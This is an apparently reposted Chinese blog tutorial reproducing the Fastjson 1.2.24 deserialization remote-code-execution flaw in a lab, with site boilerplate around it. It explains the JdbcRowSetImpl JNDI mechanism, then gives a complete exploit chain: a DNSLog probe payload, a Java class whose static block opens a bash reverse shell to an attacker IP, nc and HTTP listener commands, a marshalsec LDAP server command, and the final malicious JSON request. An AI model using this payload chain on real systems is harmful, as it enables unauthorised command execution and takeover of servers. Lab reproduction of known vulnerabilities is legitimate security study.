您的位置:首页 > 文旅 > 美景 > Fastjson 反序列化漏洞[1.2.24-rce]

Fastjson 反序列化漏洞[1.2.24-rce]

2024/10/6 16:24:16 来源:https://blog.csdn.net/W13680336969/article/details/139253595  浏览:    关键词:Fastjson 反序列化漏洞[1.2.24-rce]

漏洞复现环境搭建请参考

http://t.csdnimg.cn/vSaaw

kali切换jdk版本请参考

Kali安装JAVA8和切换JDK版本的详细过程_kali安装jdk8-CSDN博客

漏洞原理

Fastjson提供的com.sun.rowset.JdbcRowSetImpl类下的dataSourceName方法支持传入一个RMI/LDAP源,支持远程调用。攻击者只需要创建一个恶意指令类(写入反弹shell等恶意命令),设置RMI/LDAP服务的远程加载指向该恶意类,即可做到远程任意命令执行

漏洞版本

fastjson<=1.2.24

漏洞验证

(1)Web访问,JSON页面

(2)BP抓包,利用DNS回显验证,DNSLog Platform

(3)修改提交方式为POST,加入以下内容,放包,DNS回显则证明漏洞存在

#val的值为DNS申请的域名Content-Type:application/json{"a":{"@type":"java.net.Inet4Address","val":"q6teka.dnslog.cn"}
}

漏洞利用

(1)创建远程加载类,攻击机创建.java文件,内容如下,并进行java编译生成class文件

#执行反弹shell,注意文件名需要和class类名称创建的一样
import java.lang.Runtime;
import java.lang.Process;public class getshell {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.88.128/8888 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

(2)开启攻击机HTTP服务和反弹shell端口的监听

python3 -m http.server 80
nc -lvvp 8888

(3)开启LDAP服务

#工具获取
git clone https://github.com/RandomRobbieBF/marshalsec-jar#开启LADP服务,端口6666,指定远程加载类为攻击机上的getshell
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.88.128:80/#getshell 6666      

(4)回到站点,BP抓包,发送恶意数据,内容如下

Content-Type:application/json
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.88.128:6666/getshell","autoCommit":true}
}

(5)放包,getshell

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com